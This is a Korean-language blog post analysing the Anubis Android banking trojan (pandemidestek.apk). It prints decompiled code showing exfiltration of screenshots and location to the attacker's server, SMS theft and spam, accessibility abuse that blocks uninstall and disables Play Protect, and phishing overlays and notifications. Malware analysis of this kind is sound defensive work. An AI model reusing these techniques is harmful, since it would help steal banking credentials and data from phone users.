상세 컨텐츠

본문 제목

[Android Malware] Anubis Analysis

REVERSING/Android

by koharin 2021. 8. 2. 16:59

본문

728x90
반응형

Abstract


Name pandemidestek.apk
SHA256 231d970ea3195b3ba3e11e390b6def78a1c8eb5f0a8b7dccc0b4ec4aee9292ec
Virustotal https://www.virustotal.com/gui/file/231d970ea3195b3ba3e11e390b6def78a1c8eb5f0a8b7dccc0b4ec4aee9292ec/detection
Malware Type banking malware
공개 날짜 2020.06.12

 

 

Setting


Test Environment

  • Windows 10 (VMWare Virtual Machine)
  • Android Emulator: BlueStacks
  • Decompiler Tool: apktool, dex2jar, JD-GUI, jadx

 

Download

 

GitHub - ChickenHook/Anubis-pandemidestek: Anubis malware variant for turkish market - full analysis - SHA256: 231d970ea3195b3ba

Anubis malware variant for turkish market - full analysis - SHA256: 231d970ea3195b3ba3e11e390b6def78a1c8eb5f0a8b7dccc0b4ec4aee9292ec - GitHub - ChickenHook/Anubis-pandemidestek: Anubis malware vari...

github.com

 

Installation

  • BlueStacks 사용
  • Ctrl + Shift + B를 통해 Install apk로 pandemidestek.apk 앱을 선택하면 해당 앱 설치가 된다.

 

 

Anubis


  • banking malware
  • 2017년 이후부터 존재해왔음
  • 많은 permission 사용으로 많은 capability를 가지고 있어서 다른 malware들보다 영향력이 컸음

 

 

Decompile


apktool

 

dex2jar

  • dex 파일을 jar 파일로 변환
  • JD-GUI를 사용해서 jar 파일을 열면 Java 코드를 볼 수 있다.

 

 

Dynamic Analysis


1. 접근성 설정 창

애플리케이션을 실행하면, 접근성 설정 창이 열린다. toast 메시지로 pandemidestek 앱에 접근성 권한을 부여할 것을 보여준다. 만약 해당 앱에 대해 접근성 권한을 부여하지 않고 창에서 벗어나게 되면 다시 설정 창을 보여준다.

 

2. 앱 아이콘 숨기기

시작 프로그램에서 앱 아이콘은 숨겨진다. 따라서 사용자는 앱을 다시 시작할 수 없다.

 

3. 접근성 권한 부여 & 접근성 권한 철회 시도

pandemidestek 앱의 런타님 동작을 확인하려면 접근설 권한 부여를 해서 접근성 설정 창이 다시 나타나지 않도록 해야 한다. 접근성 설정에서 pandemidestek 앱에 대한 접근성 권한을 없애려고 하면 해당 설정 창은 닫힌다.

 

4. 앱 삭제 시도

설정에서 앱을 삭제하려고 하면 해당 설정 창이 닫힌다.

 

 

Code Analysis


I. Permission 확인

많은 permission을 사용하고 있다.

이것은 많은 capability를 가지고 있음을 의미한다.

여러 악성 행위를 수행하기 위해 여러 권한을 사용하고 있다.

 

II. Activity 확인

해당 악성 앱에서는 15개의 activity를 사용한다.

 

III. API 사용 확인

grep -oh -e "L.*;"  -R . | sort -u > ../used_classes.txt

 

 

GitHub - koharin/Anubis_analysis

Contribute to koharin/Anubis_analysis development by creating an account on GitHub.

github.com

 

IV. 악성코드 특징

default URL

naqsl.ebxcb.exu.ifdf.ifdf()

package naqsl.ebxcb.exu;

public class ifdf {

    /* renamed from: byte  reason: not valid java name */
    public String f469byte = "<urlImage>";

    /* renamed from: case  reason: not valid java name */
    public boolean f470case = true;

    /* renamed from: char  reason: not valid java name */
    public int f471char = 15;

    /* renamed from: else  reason: not valid java name */
    public int f472else = 0;

    /* renamed from: fddo  reason: collision with root package name */
    public final String[] f601fddo = "Eylem::gerek::prokaz::ne::disarida::kornax::ht::nealaka.::alakasiz::iceriyor::gik::wingx,::aydinlatma,::fakir,::yanisi,::api::okuru,::karsiz,::tamcoz,::gunessiz,::tp::ve::proxa::azindan.::nemkqs::nereye::the::gunes::://::affects::.com::the::havadane.::klimali::soylemek::us::nedirya::cocuksu::of::han::havaq::daimali::nedirki::icerides::biri::bolgesi::at::farksizki::zamaninda::of::the::yilin.::sanslar::in::havadaqi::can::efektli::bizim::moodumuz.::biz::kulak::farkliliklar::kiyafet::ve::do::farksizlar::dusunce::in::farksiz::havadane::kondisyon.::bizden::secim::farkli::foods::in::different::sezonlari,::gibi::sicak::dondurma::in::the::yazin,::veya".split("::");

    /* renamed from: for  reason: not valid java name */
    public final String f473for = this.ifdf;

    /* renamed from: goto  reason: not valid java name */
    public int f474goto = 1;
    public final String ifdf = (this.f601fddo[6] + this.f601fddo[20] + this.f601fddo[28] + this.f601fddo[39] + this.f601fddo[10] + this.f601fddo[15] + this.f601fddo[30]);

    /* renamed from: int  reason: not valid java name */
    public final String[] f475int = "Eylem::gerek::prokaz::ne::disarida::kornax::ht::nealaka.::alakasiz::iceriyor::kac::wingx,::aydinlatma,::fakir,::yanisi,::aa::okuru,::karsiz,::tamcoz,::gunessiz,::tp::ve::proxa::azindan.::nemkqs::nereye::the::gunes::://::affects::.com::the::havadane.::klimali::soylemek::us::nedirya::cocuksu::of::ya::/tx.php::havaq::daimali::nedirki::icerides::biri::bolgesi::at::farksizki::zamaninda::of::the::yilin.::sanslar::in::havadaqi::can::efektli::bizim::moodumuz.::biz::kulak::farkliliklar::kiyafet::ve::do::farksizlar::dusunce::in::farksiz::havadane::kondisyon.::bizden::secim::farkli::foods::in::different::sezonlari,::gibi::sicak::dondurma::in::the::yazin,::veya".split("::");

    /* renamed from: new  reason: not valid java name */
    public final String f476new = (this.f475int[6] + this.f475int[20] + this.f475int[28] + this.f475int[39] + this.f475int[10] + this.f475int[15] + this.f475int[30] + this.f475int[40]);

    /* renamed from: try  reason: not valid java name */
    public boolean f477try = false;
}

악성코드는 애플리케이션에서 수집한 데이터를 특정 url로 전송한다.

해당 url을 알게 된다면 해당 url을 shutdown 시킬 수 있기 때문에 해당 url 정보는 민감한 정보이다. 따라서 Java 코드 상에서 해당 url을 생성하는 코드를 난독화했고, 해당 url을 naqsl.ebxcb.exu.ifdf.ifdf() 함수에서 난독화된 것을 푸는 것을 확인할 수 있다.

url은 다음과 같다:

http://hangikapi[.]com

http://hangikapi[.]com/tx.php

 

주요 악성 서비스

  • naqsl.ebxcb.exu.ServiceCommands는 악성 앱을 주요 서비스이다.
  • 해당 서비스에서 명령어 인자를 주면, 어떤 악성 공격을 실행할지에 대해 설정할 수 있다. 악성 행위들은 모두 해당 서비스로부터 시작된다.
  • naqsl.ebxcb.exu.ServiceCommands.fddo() : 악성 행위에 대한 명령어 인자를 파싱하는 함수이다.

 

1. 애플리케이션 아이콘 숨기기 (Hide App Icon)

MainActivity.class

public class MainActivity extends Activity {
[...]
    public void onCreate(Bundle bundle) {
       [...]
				ComponentName componentName = new ComponentName((Context)this, MainActivity.class);
        getPackageManager().setComponentEnabledSetting(new ComponentName(this, MainActivity.class), 2, 1);

setComponentEnabledSetting 함수 호출을 한다.

public abstract void setComponentEnabledSetting (ComponentName componentName, 
                int newState, 
                int flags)

 

COMPONENT_ENABLED_STATE_DISABLEDsetComponentEnabledSetting 함수의 두 번째 인자인 newState로, Constant 값 2에 해당한다. 따라서 해당 악성 앱에서는 newState 값이 2로 설정되어 있으므로 COMPONENT_ENABLED_STATE_DISABLED이 설정되고, COMPONENT_ENABLED_STATE_DISABLED는 manifest와 상관없이 애플리케이션 아이콘을 숨긴다.

 

2. 스트링 난독화

악성 앱은 코드에서 하드코딩된 스트링을 난독화하여 Java 코드에서는 난독화된 스트링을 확인할 수 있다.

public static String m182int(String str){
	try{
		return new String(Base64.decode(str, 0), "UTF-8");
	}catch(Exception e){
		e.printStackTrace();
		return "null";
	}
}

런타임에는 naqsl.ebxcb.exu.Cint.int() 함수를 사용하여 하드코딩된 스트링을 android.util.Base64.decode() 함수를 통해 복호화하여 사용한다.

(JD-GUI를 사용해서 Cint() 함수를 포함한 여러 Java 코드들을 확인할 수 없어서, jadx를 사용했다.)

 

3. Screenshot

Screenshot 사용 확인 (API)

koharin@koharin-virtual-machine:~/Anubis_analysis$ cat used_classes.txt | grep MediaProjection
Landroid/media/projection/MediaProjection$Callback;
Landroid/media/projection/MediaProjection;
Landroid/media/projection/MediaProjection;->createVirtualDisplay(Ljava/lang/String;IIIILandroid/view/Surface;Landroid/hardware/display/VirtualDisplay$Callback;Landroid/os/Handler;)Landroid/hardware/display/VirtualDisplay;
Landroid/media/projection/MediaProjection;->registerCallback(Landroid/media/projection/MediaProjection$Callback;Landroid/os/Handler;
Landroid/media/projection/MediaProjectionManager;
Landroid/media/projection/MediaProjectionManager;->createScreenCaptureIntent()Landroid/content/Intent;
Landroid/media/projection/MediaProjectionManager;->getMediaProjection(ILandroid/content/Intent;)Landroid/media/projection/MediaProjection;
Lnaqsl/ebxcb/exu/API/Screenshot/ActivityScreenshot;->fddo:Landroid/media/projection/MediaProjectionManager;
Lnaqsl/ebxcb/exu/API/Screenshot/ServiceScreenshot;->fddo:Landroid/media/projection/MediaProjection;
Lnaqsl/ebxcb/exu/API/Screenshot/ServiceScreenshot;->new:Landroid/media/projection/MediaProjectionManager;
public class ServiceScreenshot extends Service {
[...]
	class ifdf extends Thread {
	[...]
	public void run() {
		File file = new File(ServiceScreenshot.this.getExternalFilesDir(null), "screenshot.jpg");
		try {
			FileOutputStream fileOutputStream = new FileOutputStream(file);
			fileOutputStream.write(this.f555fddo);
			fileOutputStream.flush();
			fileOutputStream.getFD().sync();
			fileOutputStream.close();
			MediaScannerConnection.scanFile(serviceScreenshot.this, new String[]{file.getAbsolutePath()}, new String[]{"image/jpg"}, null);
		} catch(
	}
	}
}

naqsl.ebxcb.exu.API.Screenshot.ActivityScreenshotActivity 내에서 android.media.projection.MediaProjectionManager.createScreenCaptureIntent() 함수를 사용한다. screenshot.jpg 파일이름로 screenshot을 저장한다.

// 
public class ServiceSendRequestImageVNC extends IntentService {
[...]
	public void onHandleIntent(Intent intent) {
	[...]
		while (true) {
		[...]
			if(r0.fddo(this, "vnc").equals("stop")) {
				break;
			} else if (r0.fddo(this, "websocket").equals("")) {
				break;
			} else {
				byte[] ifdf = Cint.ifdf(new File(getExternalFilesDir(null), "screenshot.jpg"));
				r0.fddo(this, ifdf, this.f556fddo + ".jpg");
				this.f556fddo = this.f556fddo + 1;
				if(this.f556fddo >= 11)
					this.f556fddo = 0;
			}
		}
		stopService(intent);
	}
}

naqsl.ebxcb.exu.API.Screenshot.ServiceSendRequestImageVNC.onHandleIntent 함수에서는 ServiceScreenshot에서 저장한 screenshot.jpg 파일을 디스크에 적고, 웹서버에 데이터를 보내기 위해 naqsl.ebxcb.exu.Cint.fddo() 함수를 호출한다.

naqsl.ebxcb.exu.Cint.fddo() 함수는 타겟 url을 생성하고, java.net.HttpURLConnection에 파라미터를 전달한 후 dataOutputStream.write 함수 호출을 통해 이미지 데이터를 웹서버로 전송한다.

 

4. SMS 탈취

SMS 메시지를 읽기 위해 데이터베이스에 쿼리를 날리고 그 결과를 Cursor에 담는 것을 확인할 수 있다.

naqsl.ebxcb.exu.Activity.ActivityGetSMS.onCreate에서는 쿼리하기 위한 어떤 데이터베이스 테이블(sms/sent, sms/inbox, sms/draft을 선택할지 정의한다.

이후 naqsl.ebxcb.exu.Activity.ActivityGetSMS.fddo 함수를 호출하여 ContentResolver를 검색하고 쿼리를 실행하여 원하는 SMS 데이터베이스 정보를 Cursor에 담는다. 스트링으로 결과를 변환해서 fddo 함수 리턴값으로 naqsl.ebxcb.exu.Activity.ActivityGetSMS.onCreate에 반환된다. onCreate 함수 내 r122.fddo에서 세 번째 인자가 SMS 메시지에 해당한다.

 

5. SMS Spam 전송

SMS 전송 확인 (API)

koharin@koharin-virtual-machine:~/Anubis_analysis$ cat used_classes.txt | grep SmsManager
Landroid/telephony/SmsManager;->divideMessage(Ljava/lang/String;)Ljava/util/ArrayList;
Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
Landroid/telephony/SmsManager;->sendMultipartTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/util/ArrayList;Ljava/util/ArrayList;Ljava/util/ArrayList;

naqsl.ebxcb.exu.Activity.ActivityGetNumber.fddo() 함수에서 데이터베이스 쿼리를 통해 사용자 디바이스 내 phone book에서 전화번호를 가져온다. 이후

각 phone book에 대해 naqsl.ebxcb.exu.Cint.m199int(Contextcontext, String str, String str2) 함수를 호출한다.

naqsl.ebxcb.exu.Cint.m199int(Contextcontext, String str, String str2) 함수에서는 sendMultipartTextMessage 함수를 호출하여 multi-part 텍스트를 SMS로 첫 번째 인자에 해당하는 전화번호에 보낸다.

 

6. Google Play Protect 비활성화

naqsl.ebxcb.exu.Activity.ActivityPlayProtect.onCreate 함수에서는 Google Play Protect 화면을 오픈한다.

public void onAccessibilityEvent(android.view.accessibility.AccessibilityEvent r24) {
 
            [...]
            [...]
            r4.performAction(r3)     // Catch:{ Exception -> 0x0568 }
            [...]
            java.lang.String r8 = 
                  "ZkNCRWFYTmhZbXhsSUZCc1lYa2dVS" + 
                  "Ep2ZEdWamRDQkJZM1JwYjI0Z1BDQk" + 
                  "dhVzVoYkNCVGRHVndJRDRnUTA5TlV" + 
                  "FeEZWRVZFSVNCOA=="
                  \\| Disable Play Protect Action < Final Step > COMPLETED! |
            java.lang.String r8 = naqsl.ebxcb.exu.Cint.m430int(r8)     
            java.lang.String r8 = naqsl.ebxcb.exu.Cint.m430int(r8)    
            r9.append(r8)     // Catch:{ Exception -> 0x056e }
            java.lang.String r8 = r9.toString()     // Catch:{ Exception -> 0x056e }
            java.lang.String r5 = r5.m439for(r8)     // Catch:{ Exception -> 0x056e }
            r11.append(r5)     // Catch:{ Exception -> 0x056e }
            java.lang.String r5 = r11.toString()     // Catch:{ Exception -> 0x056e }
            r3.fddo(r0, r4, r5)     // Catch:{ Exception -> 0x056e }
            r23.fddo()     // Catch:{ Exception -> 0x056e }

AccessibilityService에서 AccessibilityEvent를 전달받으면, 악성코드는 Google Play Protect 세팅이 오픈된 것을 탐지한 후 android.view.accessibility.AccessibilityNodeInfo.performAction() 함수를 통해 Google Play Protect를 비활성화한 후, naqsl.ebxcb.exu.ServiceAccessibility.fddo() 함수 호출을 통해 해당 윈도우 창을 종료한다.

 

7. Keylogging

앱은 android.accessibilityservice.AccessibilityService을 설정할 수 있다.

앱에 대한 접근성 권한을 부여하면 악성코드는 다음을 수행할 수 있다.

  1. UI 구조체 읽기
    • 접근성 서비스는 스크린에 보이는 모든 UI 요소에 접근할 수 있어서 텍스트, 사진 등의 내용을 읽을 수 있다.
  2. UI 행동 injection
    • click, long-click, double-click, 텍스트, 복사/붙여넣기, 스크롤 업/다운를 inject할 수 있다.
  3. UI 행동 수집
    • 터치/클릭과 모든 키 동작을 수집할 수 있다.
  • android.view.accessibility.AccessibilityNodeInfo 호출: 패스워드 필드, 신용카드 번호 필드 등의 UI 위젯을 찾을 수 있다.
  • android.view.accessivility.AccessibilityNodeInfo.getText() 함수: 해당 함수를 이용해서 해당 UI 위젯들의 텍스트를 읽을 수 있다.
  • android.view.accessibility.AccessibilityEvent: 입력 이벤트 수집 가능
    • naqsl.ebxcb.exu.ServiceAccessibility
    naqsl.ebxcb.ServiceAccessibility.onAccessibilityEvent는 운영체제로 전달되는 모든 접근성에 대한 상호작용을 탐지한다. 5번 Google Play Protect 비활성화에서 언급했듯이, 사용자가 Google Play Protect 설정 창을 얼게 되면 Accessibility Service는 사용자가 Google Play Protect를 활성화하기 전에 naqsl.ebxcb.exu.ServiceAccessibility.fddo() 함수를 이용해서 해당 설정 창을 닫는다.
public void fddo() {
	if(Build.VERSION.SDK_INT >= 16) {
		performGlobalAction(1);
		performGlobalAction(1);
		performGlobalAction(1);
		performGlobalAction(2);
	}
	if(Build.VERSION.SDK_INT < 16) {
		Intent intent = new Intent("android.intent.action.MAIN");
		intent.addCategory("android.intent.category.HOME");
		intent.setFlags(268435456);
		startActivity(intent);
	}
}

performGlobalAction(1)를 세번 실행하여 시스템 창을 닫고, performGlobalAction(2)를 실행하여 홈 화면으로 이동한다. 또는 android.app.Activity.startActivity() 를 호출하여

  • android.view.accessibility.AccessibilityEvent.getText() : 입력 이벤트에 대한 텍스트 수집 가능
  • android.accessibilityService.performGlobalAction 함수: activity 강제로 닫기 가능 ⇒ 피해자가 악성 앱을 삭제하려고 설정 창을 열었을 때 강제로 해당 설정 창을 닫는데 사용된다.performGlobalAction(2) : 홈 화면으로 이동하기
  • android.view.accessibility.AccessibilityEvent.getText() : 입력 이벤트에 대한 텍스트 수집 가능
  • android.accessibilityService.performGlobalAction 함수: activity 강제로 닫기 가능 ⇒ 피해자가 악성 앱을 삭제하려고 설정 창을 열었을 때 강제로 해당 설정 창을 닫는데 사용된다.
  • performGlobalAction(1) : 뒤로 가기
  • performGlobalAction(2) : 홈 화면으로 이동하기

 

Accessibility Service가 방지하는 사용자 행위

  1. Anti Virus 소프트웨어 설치
  2. 웹 브라우저 통한 Anti Virus 소프트웨어 설치
  3. 시스템 리셋
  4. 악성코드 삭제
  5. 악성 앱에 대한 권한 철회
  • naqsl.ebxcb.exu.StartWhileRequest는 반복문을 통해 접근성 권한이 부여될 때까지 naqsl.ebxcb.exu.Activity.ActivityAccessibility를 호출하고 접근성 권한을 부여하도록 하는 toast 메시지를 보여준다.
public void onHandleIntent(Intent intent) {
    [...]
    while (true) {
        [...]
        try {
            TimeUnit.MILLISECONDS.sleep((long) this.f438for);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        [...]
        if (!inKeyguardRestrictedInputMode) {
            boolean z = intR.m449new(this);
            if (((!z && this.f593fddo.f474goto == 1) || (!z && contains)) && !intR.m449new(this)) {
                try {
                    Intent intent2 = new Intent(this, ActivityAccessibility.class);
                    intent2.addFlags(268435456);
                    intent2.addFlags(1073741824);
                    startActivity(intent2);
                [...]
                if (i4 == 0 || i4 == 6) {
                    try {
                        startService(new Intent(this, ServiceToast.class));
                    } catch (Exception unused4) {
                [...]
  • naqsl.ebxcb.exu.Activity.ActivityAccessibility 는 android.settings.ACCESSIBILITY_SETTINGS 실행을 통해 접근성 설정 창을 실행하는 activity이다.

 

 

8. 위치 추적

naqsl.ebxcb.exu.ServiceGeolocationGPS
naqsl.ebxcb.exu.ServiceGeolocationNetwork

naqsl.ebxcb.exu.ServiceGeolocationGPS와 naqsl.ebxcb.exu.ServiceGeolocationNetwork에서는 디바이스는 위치를 추적하는 서비스이다. 두 서비스 모두 android.location.LocationListener를 통해 android.permission.ACCESS_FINE_LOCATION 권한 요청을 한다.

naqsl.ebxcb.exu.ServiceGeolocationNetwork
naqsl.ebxcb.exu.ServiceGeolocationGPS

이후 requestLocationUpdates를 호출하여 결과를 ifdf에 전달한다. ifdf는 수집한 데이터를 웹서버에 전달한다.

 

naqsl.ebxcb.exu.ServiceGeolocationGPS
naqsl.ebxcb.exu.ServiceGeolocationNetwork

ifdf 함수는 위치 정보를 스트링으로 인코딩하고 naqsl.ebxcb.exu.Cint.fddo 함수로 전달한다.

 

9. Push Injection

 java.lang.String r12 = "VkZJPQ=="
  java.lang.String r12 = naqsl.ebxcb.exu.Cint.m430int(r12)     
  java.lang.String r12 = naqsl.ebxcb.exu.Cint.m430int(r12)     
  boolean r12 = r11.contains(r12)     // Catch:{ Exception -> 0x0d76 }
  if (r12 == 0) goto L_0x0cbe
   
  // GÜVENLİK BİRİMİ
  java.lang.String r11 = "UjhPY1ZrVk9UTVN3U3lCQ3hMQlN4TEJOeExBPQ=="
  java.lang.String r11 = naqsl.ebxcb.exu.Cint.m430int(r11)     
  java.lang.String r11 = naqsl.ebxcb.exu.Cint.m430int(r11)     
   
  // Sayın müşterimiz lütfen hesabınızı onaylayın aksi takdirde bloke edilecektir.
  java.lang.String r12 =
       "VTJGNXhMRnVJRzNEdk1XZmRHVnlhVzFwZWlCc3c3eDBabVZ1SUdobGMyRml4T" + 
       "EZ1eExGNnhMRWdiMjVoZVd4aGVjU3hiaUJoYTNOcElIUmhhMlJwY21SbElHSn" + 
       "NiMnRsSUdWa2FXeGxZMlZyZEdseUxnPT0="
  goto L_0x0c7a
  [...]
L_0x0d34: // default of switch-case
  // Urgent message!
  java.lang.String r11 = "VlhKblpXNTBJRzFsYzNOaFoyVWg="
  java.lang.String r11 = naqsl.ebxcb.exu.Cint.m430int(r11)     // Catch:{ Exception -> 0x0d76 }
  java.lang.String r11 = naqsl.ebxcb.exu.Cint.m430int(r11)    
   
  // Confirm your account
  java.lang.String r12 = "UTI5dVptbHliU0I1YjNWeUlHRmpZMjkxYm5RPQ=="
  goto L_0x0c7a
L_0x0d42:
  android.content.Intent r13 = new android.content.Intent    
  java.lang.Class<naqsl.ebxcb.exu.ServiceModuleNotification> r14 =
                                  naqsl.ebxcb.exu.ServiceModuleNotification.class
  r13.<init>(r0, r14)     // Catch:{ Exception -> 0x0d76 }
  java.lang.String r14 = "WVhCd2JtRnRaUT09" // appname
  [...]
  android.content.Intent r5 = r13.putExtra(r14, r5)     
  java.lang.String r13 = "ZEdsMGJHVT0=" // title
  [...]
  android.content.Intent r5 = r5.putExtra(r13, r11)     
  java.lang.String r11 = "ZEdWNGRBPT0=" // text
  [...]
  android.content.Intent r5 = r5.putExtra(r11, r12)     
  r0.startService(r5)     // Catch:{ Exception -> 0x0d76 }

다른 앱에 대해 악성 명령어를 입력해서 naqsl.ebxcb.exu.ServiceCommands.fddo() 함수에서 명령어를 파싱하고 명령어에 해당하는 injection 수행이 가능하다. naqsl.ebxcb.exu.ServiceCommands.fddo() 함수에서 디바이스 언어와 매칭되는 하드코딩된 스트링을 검색하고, android.app.Context.startService() 메소드 호출을 통해 naqsl.ebxcb.exu.ServiceModuleNotification 서비스를 시작한다.

public void onHandleIntent(Intent intent) {
        String stringExtra = intent.getStringExtra(Cint.m182int("YXBwbmFtZQ==")); // appname
        String stringExtra2 = intent.getStringExtra(Cint.m182int("dGl0bGU=")); // title
        String stringExtra3 = intent.getStringExtra(Cint.m182int("dGV4dA==")); // text
        String fddo2 = this.f586fddo.fddo(this, Cint.m182int("dXJs")); // url
        Cint r0 = this.f586fddo;
        String str = Cint.m182int("UFVTSA=="); // PUSH
        r0.fddo(str, Cint.m182int("MTog") + fddo2 + Cint.m182int("L2ljb24v") + stringExtra + Cint.m182int("LnBuZw=="));
        StringBuilder sb = new StringBuilder();
        sb.append(fddo2);
        sb.append(Cint.m182int("L2ljb24v")); // /icon/
        sb.append(stringExtra);
        sb.append(Cint.m182int("LnBuZw==")); // .png
        new fddo(this, stringExtra2, stringExtra3, sb.toString(), stringExtra).execute(new String[0]);
    }

naqsl.ebxcb.exu.ServiceModuleNotification.onHandleIntent 함수에서 f586fddo.fddo 함수를 사용해서 타겟 url 생성에 필요한 스트링을 파싱하면

http://hangikapi.com/icon/appname.png url이 추출된다.

public fddo(Context context, String str, String str2, String str3, String str4) {
            this.f587fddo = context;
            this.ifdf = str;
            this.f420for = str2;
            this.f421int = str3;
            this.f422new = str4;
            Cint r2 = ServiceModuleNotification.this.ifdf;
            String str5 = Cint.m182int("RVJST1I="); // ERROR
            Cint r1 = ServiceModuleNotification.this.ifdf;
            Log.e(str5, Cint.m182int("Mg==")); // 2
}

이후 Async Task를 위해 naqsl.ebxcb.exu.ServiceModuleNotification.fddo를 실행한다. Async Task를 통해 웹서버로부터 아이콘 자원을 패치한다. AsyncTask는 백그라운드에서 스레드를 실행하면서 UI 스레드에 결과가 생성되는 것을 의미한다.

 

public String fddo(Context context, String str) {
        if (f478for == null) {
            f478for = context.getSharedPreferences(m182int("c2V0"), 0); // set
            f478for.edit();
        }
        String string = f478for.getString(str, null);
        return (str.contains(m182int("dXJsSW5q")) || str.contains("urls")) ? ifdf(string) : string; // urlInj / 
    }

naqsl.ebxcb.exu.Cint.fddo() 함수에서 웹서버의 url을 읽는다.

 

public Bitmap doInBackground(String... strArr) {
            ServiceModuleNotification serviceModuleNotification = ServiceModuleNotification.this;
            Cint r0 = serviceModuleNotification.f586fddo;
            Cint r3 = serviceModuleNotification.ifdf;
            String str = Cint.m182int("UFVTSA==");
            Cint r1 = ServiceModuleNotification.this.ifdf;
            r0.fddo(str, Cint.m182int("Mw=="));
            try {
                HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(this.f421int).openConnection();
                httpURLConnection.setDoInput(true);
                httpURLConnection.connect();
                return BitmapFactory.decodeStream(httpURLConnection.getInputStream());
            } catch (IOException | MalformedURLException unused) {
                return null;
            }
        }

naqsl.ebxcb.exu.ServiceModuleNotification.doInBackground() 함수에서는 java.net.HttpURLConnection 클래스를 사용해서 타겟 앱에 대한 아이콘을 패치한다.

 

public void onPostExecute(Bitmap bitmap) {
            super.onPostExecute(bitmap);
            try {
                Cint r0 = ServiceModuleNotification.this.f586fddo;
                Context context = this.f587fddo;
                Cint r2 = ServiceModuleNotification.this.ifdf;
                r0.ifdf(context, Cint.m182int("c3RyX3B1c2hfZmlzaA=="), this.f422new);
                Intent intent = new Intent(ServiceModuleNotification.this, ActivityPushInjection.class);
                Cint r1 = ServiceModuleNotification.this.ifdf;
                Intent addFlags = intent.putExtra(Cint.m182int("c3Ry"), this.f422new).addFlags(268435456).addFlags(8388608).addFlags(1073741824);
                if (Build.VERSION.SDK_INT <= 25) {
                    Notification.Builder defaults = new Notification.Builder(this.f587fddo).setContentIntent(PendingIntent.getActivity(this.f587fddo, 100, addFlags, 1073741824)).setContentTitle(this.ifdf).setContentText(this.f420for).setVibrate(new long[]{1000, 1000, 1000, 1000, 1000}).setPriority(1).setDefaults(2).setDefaults(1).setDefaults(4);
                    Resources resources = this.f587fddo.getResources();
                    StringBuilder sb = new StringBuilder();
                    sb.append(this.f587fddo.getPackageName());
                    Cint r5 = ServiceModuleNotification.this.ifdf;
                    sb.append(Cint.m182int("Om1pcG1hcC9pY19sYXVuY2hlcg=="));
                    Notification build = defaults.setSmallIcon(resources.getIdentifier(sb.toString(), null, null)).setLargeIcon(bitmap).build();
                    build.flags |= 16;
                    ((NotificationManager) this.f587fddo.getSystemService("notification")).notify(1, build);
                    return;
                }
                ServiceModuleNotification.this.f586fddo.fddo(this.f587fddo, addFlags, bitmap, this.ifdf, this.f420for);
            } catch (Exception unused) {
            }
        }
    }

naqsl.ebxcb.exu.ServiceModuleNotification.onPostExecute() 함수에서는 패치된 이미지를 사용하여 알림을 생성한다. 해당 알림은 시스템 내 설치된 다른 앱에게 간다.

 

public void onStart() {
        super.onStart();
        this.ifdf.ifdf(this, "name", "true");
        String fddo2 = this.ifdf.fddo(this, "str_push_fish");
        String str = "";
        if (!fddo2.equals(str) || !fddo2.equals(null)) {
            this.f565fddo.getClass();
            try {
                str = this.ifdf.fddo(this, "urlInj");
            } catch (Exception unused) {
            }
            WebView webView = new WebView(this);
            webView.getSettings().setJavaScriptEnabled(true);
            webView.setScrollBarStyle(0);
            webView.setWebViewClient(new Cfor());
            webView.setWebChromeClient(new ifdf());
            String country = Resources.getSystem().getConfiguration().locale.getCountry();
            webView.loadUrl(str + "/fafa.php?f=" + fddo2 + "&p=" + this.ifdf.fddo(this) + "|" + country.toLowerCase());
            setContentView(webView);
            Cint r2 = this.ifdf;
            StringBuilder sb = new StringBuilder();
            sb.append("p=");
            Cint r4 = this.ifdf;
            sb.append(r4.m191for(this.ifdf.fddo(this) + "|Start injection " + fddo2 + "|"));
            r2.fddo(this, "4", sb.toString());
        }
    }

다른 앱에서 알림 창을 누르게 되면, naqsl.ebxcb.exu.Acitivity.ActivityPushInjection 액티비티가 나타난다.

naqsl.ebxcb.exu.Acitivity.ActivityPushInjection.onStart() 함수에서는 android.view.webView 인스턴스를 생성하고 loadUrl을 실행하여 타겟 웹페이지가 로드되도록 url을 로드한다.

 

10. Activity Injection

다른 앱에 악성 Activity를 inject할 수 있다.

naqsl.ebxcb.exu.ServiceInjections

naqsl.ebxcb.exu.ServiceInjections 서비스에서 naqsl.ebxcb.exu.ServiceInjections.ifdf() 함수에서 android.app.ActivityManager.getRunningTasks() 함수와 android.app.ActivityManager.getRunningAppProcesses() 함수를 통해 현재 실행 중인 앱을 알아내고, 실행 중인 앱에 대해 악성 Activity를 inject한다. 해당 함수들은 Android 5 이후로는 deprecated 되어 Android 5 이후 버전을 사용하는 프로세스에 대한 정보는 확인할 수 없다.

 

naqsl.ebxcb.exu.Activity.ActivityInjection 에서는 Webview.loadUrl 함수를 통해 악성 url을 로드하여 다른 희생자에 공격할 수 있도록 한다.

public void run() {
            [...]
            // com.imo.android.imoim,com.twitter.android
            String str2 = "WTI5dExtbHRieTVoYm1SeWIybGtMbWx0Y" +                   
                          "jJsdExHTnZiUzUwZDJsMGRHVnlMbUZ1WkhKdmFXUT0=";
            if (str.contains(Cint.m430int(Cint.m430int(str2)))) {
                Cint intR2 = ServiceAccessibility.this.ifdf;
                String str3 = Cint.m430int(Cint.m430int(str2));
                Cint intR3 = ServiceAccessibility.this.ifdf;
                // com.imo.android.imoim,com.twitter.android,com.android.vending
                str = str.replace(str3, Cint.m430int(Cint.m430int(
                      "WTI5dExtbHRieTVoYm1SeWIybGtMbWx0YjJsdExHT" + 
                      "nZiUzUwZDJsMGRHVnlMbUZ1WkhKdmFXUXNZMjl0TG" + 
                      "1GdVpISnZhV1F1ZG1WdVpHbHVadz09")));
            }
            [...] ServiceAccessibility.this.getSystemService("keyguard"))
                                             .inKeyguardRestrictedInputMode()) {
                    try {
                        Intent intent = new Intent(this.ifdf, ActivityInjection.class);
                        [...]
                        ServiceAccessibility.this.startActivity(putExtra);

naqsl.ebxcb.exu.ServiceAccessibility$fddo.run()는 스크린에서 공격할 타겟 앱이 있으면 해당 앱에 대해 naqsl.ebxcb.exu.Activity.ActivityInjection을 수행한다.

 

11. USSD 코드 입력

naqsl.ebxcb.exu.Activity.ActivityStartUSSD 액티비티는 naqsl.ebxcb.exu.Activity.ActivityStartUSSD.onCreate() 함수에서 android.intent.action.CALL 행위를 하는 intent를 생성하여 USSD 코드를 실행한다.

USSD(Unstructured Supplementary Services Data) 코드

  • 해당 코드를 네트워크 모드에서 명령을 전송할 수 있다.
  • 특정 코드마다 디바이스의 특정 정보를 확인할 수 있는 응답을 얻을 수 있다.
